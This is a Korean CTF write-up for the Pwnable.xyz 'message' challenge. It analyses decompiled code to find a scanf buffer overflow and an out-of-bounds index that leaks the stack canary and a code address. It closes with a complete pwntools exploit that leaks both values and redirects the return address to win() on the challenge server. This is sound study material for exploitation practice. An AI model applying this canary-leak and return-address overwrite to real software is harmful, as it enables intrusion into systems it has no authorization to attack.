War Game/Pwnable.xyz
[Pwnable.xyz] message
tmxk4221
2020. 9. 9. 21:52
1. 문제
nc svc.pwnable.xyz 30017
1) mitigation 확인
2) 문제 확인
- message에 값을 저장하고 2번 메뉴를 통해 출력할 수 있으며 1번 메뉴를 통해 수정할 수 있다.
- 하지만 3번메뉴를 선택하면 아무런 출력이 없다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v5; // [rsp+10h] [rbp-30h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("Message taker.");
printf("Message: ");
_isoc99_scanf("%s", &v5);
getchar();
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ");
v3 = get_choice();
if ( v3 != 1 )
break;
printf("Message: ");
_isoc99_scanf("%s", &v5);
getchar();
}
if ( v3 <= 1 )
break;
if ( v3 == 2 )
{
printf("Your message: %s\n", &v5);
}
else if ( v3 == 3 )
{
if ( admin )
win();
}
else
{
LABEL_14:
printf("Error: %d is not a valid option\n", (unsigned int)v3);
}
}
if ( v3 )
goto LABEL_14;
return 0;
}
- 1번 메뉴에서 scanf를 통해 v5[rbp-0x30]에 message에 대한 입력을 받음 → bof취약점 발생
- 2번 메뉴에서 message출력
- 3번 메뉴에서 admin(전역변수)에 값이 존재하면 win함수 실행
- 만족하는 조건이 없으면 입력받은 v3값을 출력해준다.
3-2) get_choice()
__int64 get_choice()
{
char v1; // [rsp+Dh] [rbp-13h]
char v2; // [rsp+Eh] [rbp-12h]
char v3; // [rsp+Fh] [rbp-11h]
char v4; // [rsp+10h] [rbp-10h]
char v5; // [rsp+11h] [rbp-Fh]
char v6; // [rsp+12h] [rbp-Eh]
char v7; // [rsp+13h] [rbp-Dh]
char v8; // [rsp+14h] [rbp-Ch]
char v9; // [rsp+15h] [rbp-Bh]
char v10; // [rsp+16h] [rbp-Ah]
char v11; // [rsp+17h] [rbp-9h]
unsigned __int64 v12; // [rsp+18h] [rbp-8h]
v12 = __readfsqword(0x28u);
v2 = 0;
v3 = 1;
v4 = 2;
v5 = 3;
v6 = 4;
v7 = 5;
v8 = 6;
v9 = 7;
v10 = 8;
v11 = 9;
v1 = getchar();
getchar();
return (unsigned __int8)*(&v2 + v1 - 48);
}
- v2 ~ v11까지 0 ~ 9로 세팅한다.
- v1[rbp-0x13]에 getchar()로 문자를 받고 return값으로 [&v2 + v1 - 48]에 존재하는 값을 준다.
- 아마도 숫자 0 ~ 9까지 각 변수에 세팅하고 v1에 문자를 입력받으면 48만큼 빼줘서 정수 값으로 계산되어 세팅된 변수의 값을 찾아서 리턴해주는 것 같다.
전역변수)
- admin : 0x2021e4
2. 접근방법
bof취약점이 발생하는 것을 알 수 있으나 현재 canary가 걸려있는 상태이며 bss영역에 있는 admin에 값이 존재해야 win함수가 호출된다. 하지만 카나리 값을 릭할 수만 있다면 main()의 ret에 win()를 넣으면 될 것 같다.
1) scanf()를 통해 카나리 값 릭
scanf()를 이용하여 카나리 값이 위치한 곳까지 널 바이트를 제거해주도록 한다.
- scanf로 입력을 받기 전 스택 상황이다. [rbp-0x8]에는 카나리 값이 존재하며 카나리 하위 1byte는 널 바이트므로 scanf로 0x29byte만큼 입력을 받아 카나리 하위 1byte까지 덮도록 한다.
- 카나리 하위 1byte까지 덮기는 했지만 다시 문자열 끝에 널 바이트가 추가로 붙는다.
- 따라서, scanf로 카나리 값을 릭할 수는 없다.
2) get_choice()를 이용하여 카나리 값 릭
코드 분석을 통해 get_choice()가 문자를 숫자로 변경해주는 것을 확인하였다.
그리고 get_choice의 리턴 값을 main함수의 v3에 저장하고 메뉴 선택하는데 이용을 해서 각 메뉴에 맞는 로직을 실행하는데 마땅한 조건이 없으면 v3를 출력해주는 것을 확인하였다.
printf("Error: %d is not a valid option\n", (unsigned int)v3);
- 메인 함수에서 else문의 v3값을 출력해주는 부분
우리는 main()의 저 printf()와 get_choice()를 이용하여 카나리 릭을 할 것이다.
- 현재 getchar()를 통해 "A"를 입력으로 받은 상황이다. → [rbp-0x13]
- eax값에 저장하고 0x30만큼 빼준 뒤 [rbp+rax*1-0x12]의 값을 eax에 넣어 return해준다.
- [rbp-0x8]에는 카나리 값이 존재하므로 rax값을 잘 조절해주면 [rbp-0x8] ~ [rbp-0x1]로 변경할 수 있을 것이다. 그렇게 되면 [rbp-0x8] ~ [rbp-0x1]에 있는 1byte를 eax에 저장하고 return하므로 메인 함수의 else문에서 릭 될 것이다.
공격 프로세스)
- get_choice()를 이용하여 1byte씩 카나리[rbp-0x8] 값을 릭한다.
- get_choice()를 이용하여 1byte씩 <main+113>주소 값을 릭한다.
- bof를 수행하여 [rbp-0x8]에는 카나리 값을 위치해주고 아까 <main+113>주소 값을 구한 것을 이용하여 win()의 주소 값을 구하여 ret에 넣어준다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30017)
#gdb.attach(p)
clist = [';', '<', '=', '>', '?', '@', 'A']
mlist = ['J', 'K', 'L', 'M', 'N', 'O']
canary = ''
main = ''
# 1. canary leak
p.sendlineafter(": ", "A")
for data in clist[::-1]:
p.sendlineafter("> ", data)
p.recvuntil("Error: ")
leak = p.recvuntil(" is")
canary += format(int(leak[0:-2]), 'x')
canary += '00'
canary = int(canary, 16)
log.info("canary : " + hex(canary))
# 2. main leak
for data in mlist[::-1]:
p.sendlineafter("> ", data)
p.recvuntil("Error: ")
leak = p.recvuntil(" is")
main += format(int(leak[0:-2]), 'x')
main = int(main, 16)
main -= 0x71
win = main - 0x13
log.info("main : " + hex(main))
log.info("win : " + hex(win))
# 3. return to win
payload = "A"*0x28
payload += p64(canary)
payload += "A"*0x8
payload += p64(win)
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", payload)
p.sendlineafter("> ", str(0))
p.interactive()
2) 공격실행